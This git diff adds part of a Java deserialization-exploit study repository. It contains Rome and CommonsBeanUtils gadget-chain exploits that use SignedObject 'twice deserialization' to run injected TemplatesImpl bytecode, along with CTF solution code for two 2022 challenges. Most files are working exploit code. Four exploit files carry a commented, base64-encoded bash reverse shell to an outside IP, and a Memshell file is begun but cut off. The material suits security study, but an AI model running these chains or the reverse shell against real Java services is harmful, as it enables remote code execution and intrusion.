"b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/archetype-resources/src/main/java/App.java" new file mode 100644 index 00000000..1fa6a956 --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/archetype-resources/src/main/java/App.java" @@ -0,0 +1,13 @@ +package $org.example; + +/** + * Hello world! + * + */ +public class App +{ + public static void main( String[] args ) + { + System.out.println( "Hello World!" ); + } +} diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/archetype-resources/src/test/java/AppTest.java" new file mode 100644 index 00000000..65be417e --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/RMIConnector/src/main/resources/archetype-resources/src/test/java/AppTest.java" @@ -0,0 +1,38 @@ +package $org.example; + +import junit.framework.Test; +import junit.framework.TestCase; +import junit.framework.TestSuite; + +/** + * Unit test for simple App. + */ +public class AppTest + extends TestCase +{ + /** + * Create the test case + * + * @param testName name of the test case + */ + public AppTest( String testName ) + { + super( testName ); + } + + /** + * @return the suite of tests being tested + */ + public static Test suite() + { + return new TestSuite( AppTest.class ); + } + + /** + * Rigourous Test :-) + */ + public void testApp() + { + assertTrue( true ); + } +} diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/pom.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/pom.xml" new file mode 100644 index 00000000..ffca9eb7 --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/pom.xml" @@ -0,0 +1,39 @@ + + 4.0.0 + + org.example + TwiceDeserialize + 1.0-SNAPSHOT + + Rome + Archetype - Rome + http://maven.apache.org + + + + rome + rome + 1.0 + + + org.apache.commons + commons-collections4 + 4.4 + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + 7 + 7 + + + + + + diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/EqualsBeanEXP.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/EqualsBeanEXP.java" new file mode 100644 index 00000000..aa22ae55 --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/EqualsBeanEXP.java" @@ -0,0 +1,96 @@ +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import com.sun.syndication.feed.impl.EqualsBean; +import com.sun.syndication.feed.impl.ObjectBean; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtConstructor; + +import javax.xml.transform.Templates; +import java.io.*; +import java.lang.reflect.Field; +import java.security.*; +import java.util.Base64; +import java.util.HashMap; +import java.util.Hashtable; + +public class EqualsBeanEXP { + public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{ + Field field = obj.getClass().getDeclaredField(fieldname); + field.setAccessible(true); + field.set(obj,value); + } + + public static void main(String[] args) throws Exception{ + byte[] bytes = getTemplatesImpl("Calc"); + + TemplatesImpl obj = new TemplatesImpl(); + setFieldValue(obj, "_bytecodes", new byte[][]{bytes}); + setFieldValue(obj, "_name", "a"); + setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); + + Hashtable hashtable1 = getPayload(Templates.class, obj); + + KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); + kpg.initialize(1024); + KeyPair kp = kpg.generateKeyPair(); + SignedObject signedObject = new SignedObject(hashtable1, kp.getPrivate(), Signature.getInstance("DSA")); + + Hashtable hashtable2 = getPayload(SignedObject.class, signedObject); + + serialize(hashtable2); + + //System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); + + unserialize("ser.bin"); + } + + public static Hashtable getPayload (Class clazz, Object payloadObj) throws Exception{ + EqualsBean bean = new EqualsBean(String.class, "r"); + HashMap map1 = new HashMap(); + HashMap map2 = new HashMap(); + map1.put("yy", bean); + map1.put("zZ", payloadObj); + map2.put("zZ", bean); + map2.put("yy", payloadObj); + Hashtable table = new Hashtable(); + table.put(map1, "1"); + table.put(map2, "2"); + setFieldValue(bean, "_beanClass", clazz); + setFieldValue(bean, "_obj", payloadObj); + return table; + } + + public static byte[] getTemplatesImpl(String cmd) { + try { + ClassPool pool = ClassPool.getDefault(); + CtClass ctClass = pool.makeClass("Evil"); + CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); + ctClass.setSuperclass(superClass); + CtConstructor constructor = ctClass.makeClassInitializer(); + constructor.setBody(" try {\n" + + " Runtime.getRuntime().exec(\"" + cmd + + "\");\n" + + " } catch (Exception ignored) {\n" + + " }"); + // "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}" + byte[] bytes = ctClass.toBytecode(); + ctClass.defrost(); + return bytes; + } catch (Exception e) { + e.printStackTrace(); + return new byte[]{}; + } + } + + public static void serialize(Object obj) throws IOException { + ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); + oos.writeObject(obj); + } + + public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { + ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); + Object obj = ois.readObject(); + return obj; + } +} \ No newline at end of file diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/RomeEXP.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/RomeEXP.java" new file mode 100644 index 00000000..8edf71de --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/RomeEXP.java" @@ -0,0 +1,82 @@ +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import com.sun.syndication.feed.impl.EqualsBean; +import com.sun.syndication.feed.impl.ToStringBean; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtConstructor; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; + +import javax.xml.transform.Templates; +import java.io.*; +import java.lang.reflect.Field; +import java.util.HashMap; + +public class RomeEXP { + public static void main(String[] args) throws Exception{ + TemplatesImpl templates = new TemplatesImpl(); + setFieldValue(templates,"_name","Drunkbaby"); + setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); + Class c = templates.getClass(); + Field byteCodesField = c.getDeclaredField("_bytecodes"); + byteCodesField.setAccessible(true); + byte[] evil = getTemplatesImpl("Calc"); + byte[][] codes = {evil}; + byteCodesField.set(templates,codes); +// templates.newTransformer(); + ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1)); + EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean); + + HashMap hashMap = new HashMap(); + hashMap.put(equalsBean,"123"); + + //再改回正常的参数 + Field field = toStringBean.getClass().getDeclaredField("_obj"); + field.setAccessible(true); + field.set(toStringBean,templates); + + serialize(hashMap); + unserialize("ser.bin"); + + } + + public static byte[] getTemplatesImpl(String cmd) { + try { + ClassPool pool = ClassPool.getDefault(); + CtClass ctClass = pool.makeClass("Evil"); + CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); + ctClass.setSuperclass(superClass); + CtConstructor constructor = ctClass.makeClassInitializer(); + constructor.setBody(" try {\n" + + " Runtime.getRuntime().exec(\"" + cmd + + "\");\n" + + " } catch (Exception ignored) {\n" + + " }"); + // "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}" + byte[] bytes = ctClass.toBytecode(); + ctClass.defrost(); + return bytes; + } catch (Exception e) { + e.printStackTrace(); + return new byte[]{}; + } + } + + public static void setFieldValue(Object object, String fieldName, Object value) throws Exception { + Class clazz = object.getClass(); + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + field.set(object,value); + } + public static void serialize(Object obj) throws IOException { + ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); + oos.writeObject(obj); + } + + public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { + ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); + Object obj = ois.readObject(); + return obj; + } +} \ No newline at end of file diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/SignedObjectEXP.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/SignedObjectEXP.java" new file mode 100644 index 00000000..7d9d9d48 --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/SignedObjectEXP.java" @@ -0,0 +1,92 @@ +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import com.sun.syndication.feed.impl.EqualsBean; +import com.sun.syndication.feed.impl.ToStringBean; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtConstructor; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; + +import javax.xml.transform.Templates; +import java.io.*; +import java.lang.reflect.Field; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.Signature; +import java.security.SignedObject; +import java.util.HashMap; + +public class SignedObjectEXP { + public static void main(String[] args) throws Exception{ + TemplatesImpl templates = new TemplatesImpl(); + setFieldValue(templates,"_name","Drunkbaby"); + setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); + Class c = templates.getClass(); + Field byteCodesField = c.getDeclaredField("_bytecodes"); + byteCodesField.setAccessible(true); + byte[] evil = getTemplatesImpl("Calc"); + byte[][] codes = {evil}; + byteCodesField.set(templates,codes); +// templates.newTransformer(); + ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1)); + EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean); + + HashMap hashMap = new HashMap(); + hashMap.put(equalsBean,"123"); + + //再改回正常的参数 + + Field field = toStringBean.getClass().getDeclaredField("_obj"); + field.setAccessible(true); + field.set(toStringBean,templates); + + KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); + kpg.initialize(1024); + KeyPair kp = kpg.generateKeyPair(); + SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA")); + + serialize(hashMap); + unserialize("ser.bin"); + + } + + public static byte[] getTemplatesImpl(String cmd) { + try { + ClassPool pool = ClassPool.getDefault(); + CtClass ctClass = pool.makeClass("Evil"); + CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); + ctClass.setSuperclass(superClass); + CtConstructor constructor = ctClass.makeClassInitializer(); + constructor.setBody(" try {\n" + + " Runtime.getRuntime().exec(\"" + cmd + + "\");\n" + + " } catch (Exception ignored) {\n" + + " }"); + // "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}" + byte[] bytes = ctClass.toBytecode(); + ctClass.defrost(); + return bytes; + } catch (Exception e) { + e.printStackTrace(); + return new byte[]{}; + } + } + + public static void setFieldValue(Object object, String fieldName, Object value) throws Exception { + Class clazz = object.getClass(); + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + field.set(object,value); + } + public static void serialize(Object obj) throws IOException { + ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); + oos.writeObject(obj); + } + + public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { + ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); + Object obj = ois.readObject(); + return obj; + } +} \ No newline at end of file diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/ToStringBeanEXP.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/ToStringBeanEXP.java" new file mode 100644 index 00000000..9ee2cf1b --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/java/ToStringBeanEXP.java" @@ -0,0 +1,88 @@ +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import com.sun.syndication.feed.impl.EqualsBean; +import com.sun.syndication.feed.impl.ObjectBean; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtConstructor; + +import javax.xml.transform.Templates; +import java.io.*; +import java.lang.reflect.Field; +import java.security.*; +import java.util.Base64; +import java.util.HashMap; + +public class ToStringBeanEXP { + public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{ + Field field = obj.getClass().getDeclaredField(fieldname); + field.setAccessible(true); + field.set(obj,value); + } + + public static void main(String[] args) throws Exception{ + byte[] bytes = getTemplatesImpl("Calc"); + + TemplatesImpl obj = new TemplatesImpl(); + setFieldValue(obj, "_bytecodes", new byte[][]{bytes}); + setFieldValue(obj, "_name", "a"); + setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); + + HashMap hashMap1 = getpayload(Templates.class, obj); + + KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); + kpg.initialize(1024); + KeyPair kp = kpg.generateKeyPair(); + SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA")); + + HashMap hashMap2 = getpayload(SignedObject.class, signedObject); + + serialize(hashMap2); + + //System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); + + unserialize("ser.bin"); + } + + public static HashMap getpayload(Class clazz, Object obj) throws Exception { + ObjectBean objectBean = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "rand")); + HashMap hashMap = new HashMap(); + hashMap.put(objectBean, "rand"); + ObjectBean expObjectBean = new ObjectBean(clazz, obj); + setFieldValue(objectBean, "_equalsBean", new EqualsBean(ObjectBean.class, expObjectBean)); + return hashMap; + } + + public static byte[] getTemplatesImpl(String cmd) { + try { + ClassPool pool = ClassPool.getDefault(); + CtClass ctClass = pool.makeClass("Evil"); + CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); + ctClass.setSuperclass(superClass); + CtConstructor constructor = ctClass.makeClassInitializer(); + constructor.setBody(" try {\n" + + " Runtime.getRuntime().exec(\"" + cmd + + "\");\n" + + " } catch (Exception ignored) {\n" + + " }"); + // "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}" + byte[] bytes = ctClass.toBytecode(); + ctClass.defrost(); + return bytes; + } catch (Exception e) { + e.printStackTrace(); + return new byte[]{}; + } + } + + public static void serialize(Object obj) throws IOException { + ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); + oos.writeObject(obj); + } + + public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { + ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); + Object obj = ois.readObject(); + return obj; + } +} \ No newline at end of file diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/META-INF/maven/archetype.xml" new file mode 100644 index 00000000..bfa18053 --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/META-INF/maven/archetype.xml" @@ -0,0 +1,9 @@ + + Rome + + src/main/java/App.java + + + src/test/java/AppTest.java + + diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/archetype-resources/pom.xml" new file mode 100644 index 00000000..a0709e40 --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/archetype-resources/pom.xml" @@ -0,0 +1,15 @@ + + 4.0.0 + $org.example + $Rome + 1ドル.0-SNAPSHOT + + + junit + junit + 3.8.1 + test + + + diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/archetype-resources/src/main/java/App.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/archetype-resources/src/main/java/App.java" new file mode 100644 index 00000000..1fa6a956 --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/archetype-resources/src/main/java/App.java" @@ -0,0 +1,13 @@ +package $org.example; + +/** + * Hello world! + * + */ +public class App +{ + public static void main( String[] args ) + { + System.out.println( "Hello World!" ); + } +} diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/archetype-resources/src/test/java/AppTest.java" new file mode 100644 index 00000000..65be417e --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/Rome/src/main/resources/archetype-resources/src/test/java/AppTest.java" @@ -0,0 +1,38 @@ +package $org.example; + +import junit.framework.Test; +import junit.framework.TestCase; +import junit.framework.TestSuite; + +/** + * Unit test for simple App. + */ +public class AppTest + extends TestCase +{ + /** + * Create the test case + * + * @param testName name of the test case + */ + public AppTest( String testName ) + { + super( testName ); + } + + /** + * @return the suite of tests being tested + */ + public static Test suite() + { + return new TestSuite( AppTest.class ); + } + + /** + * Rigourous Test :-) + */ + public void testApp() + { + assertTrue( true ); + } +} diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/pom.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/pom.xml" new file mode 100644 index 00000000..196f0702 --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/pom.xml" @@ -0,0 +1,23 @@ + + 4.0.0 + org.example + TwiceDeserialize + 1.0-SNAPSHOT + pom + Archetype - TwiceDeserialize + http://maven.apache.org + + Rome + CommonsBeanUtils + RMIConnector + + + + + org.javassist + javassist + 3.28.0-GA + + + diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/ser.bin" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/ser.bin" new file mode 100644 index 00000000..1b03b9d3 Binary files /dev/null and "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/ser.bin" differ diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/META-INF/maven/archetype.xml" new file mode 100644 index 00000000..ce7353c4 --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/META-INF/maven/archetype.xml" @@ -0,0 +1,9 @@ + + TwiceDeserialize + + src/main/java/App.java + + + src/test/java/AppTest.java + + diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/archetype-resources/pom.xml" new file mode 100644 index 00000000..02589d06 --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/archetype-resources/pom.xml" @@ -0,0 +1,15 @@ + + 4.0.0 + $org.example + $TwiceDeserialize + 1ドル.0-SNAPSHOT + + + junit + junit + 3.8.1 + test + + + diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/archetype-resources/src/main/java/App.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/archetype-resources/src/main/java/App.java" new file mode 100644 index 00000000..1fa6a956 --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/archetype-resources/src/main/java/App.java" @@ -0,0 +1,13 @@ +package $org.example; + +/** + * Hello world! + * + */ +public class App +{ + public static void main( String[] args ) + { + System.out.println( "Hello World!" ); + } +} diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/archetype-resources/src/test/java/AppTest.java" new file mode 100644 index 00000000..65be417e --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/TwiceDeserialize/src/main/resources/archetype-resources/src/test/java/AppTest.java" @@ -0,0 +1,38 @@ +package $org.example; + +import junit.framework.Test; +import junit.framework.TestCase; +import junit.framework.TestSuite; + +/** + * Unit test for simple App. + */ +public class AppTest + extends TestCase +{ + /** + * Create the test case + * + * @param testName name of the test case + */ + public AppTest( String testName ) + { + super( testName ); + } + + /** + * @return the suite of tests being tested + */ + public static Test suite() + { + return new TestSuite( AppTest.class ); + } + + /** + * Rigourous Test :-) + */ + public void testApp() + { + assertTrue( true ); + } +} diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 350円231円216円347円254円246円346円235円257円 ezchain/ezchain.jar" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 350円231円216円347円254円246円346円235円257円 ezchain/ezchain.jar" new file mode 100644 index 00000000..956b1895 Binary files /dev/null and "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 350円231円216円347円254円246円346円235円257円 ezchain/ezchain.jar" differ diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/EXP.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/EXP.java" new file mode 100644 index 00000000..57a2d9ac --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/EXP.java" @@ -0,0 +1,71 @@ +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.ClassPool; +import org.apache.commons.beanutils.BeanComparator; + +import java.io.*; +import java.lang.reflect.Field; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.Signature; +import java.security.SignedObject; +import java.util.Base64; +import java.util.PriorityQueue; + +public class EXP { + public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{ + Field field = obj.getClass().getDeclaredField(fieldname); + field.setAccessible(true); + field.set(obj,value); + } + + public static void main(String[] args) throws Exception { + byte[] bytes= ClassPool.getDefault().get(Evil.class.getName()).toBytecode(); + + TemplatesImpl obj = new TemplatesImpl(); + setFieldValue(obj, "_bytecodes", new byte[][]{bytes}); + setFieldValue(obj, "_name", "a"); + setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); + + PriorityQueue queue1 = getpayload(obj, "outputProperties"); + + KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); + kpg.initialize(1024); + KeyPair kp = kpg.generateKeyPair(); + SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA")); + + PriorityQueue queue2 = getpayload(signedObject, "object"); + + //序列化 + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(queue2); + oos.close(); + System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); + // serialize(queue2); +// +// //反序列化 + // deserialize("ser.bin"); + } + + public static PriorityQueue getpayload(Object object, String string) throws Exception { + BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); + PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator); + priorityQueue.add("1"); + priorityQueue.add("2"); + setFieldValue(beanComparator, "property", string); + setFieldValue(priorityQueue, "queue", new Object[]{object, null}); + return priorityQueue; + } + + public static void serialize(Object obj) throws IOException { + ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); + oos.writeObject(obj); + } + + public static Object deserialize(String Filename) throws IOException, ClassNotFoundException { + ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); + Object obj = ois.readObject(); + return obj; + } +} \ No newline at end of file diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/Evil.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/Evil.java" new file mode 100644 index 00000000..6db03202 --- /dev/null +++ "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/Evil.java" @@ -0,0 +1,28 @@ +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + +import java.io.IOException; + +// 弹计算器的万能类 +public class Evil extends AbstractTranslet { + static { + try { + Runtime.getRuntime().exec("calc"); + } catch (IOException e){ + e.printStackTrace(); + } + } + + @Override + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + + } + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + + } +} \ No newline at end of file diff --git "a/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/Memshell.java" "b/JavaSecurity/Trick/344円272円214円346円254円241円345円217円215円345円272円217円345円210円227円345円214円226円/timu/2022 351円271円217円345円237円216円346円235円257円 ez_java/EXP/Memshell.java" new file mode 100644 index 00000000..61dbb7d6 --- /dev/null +++ 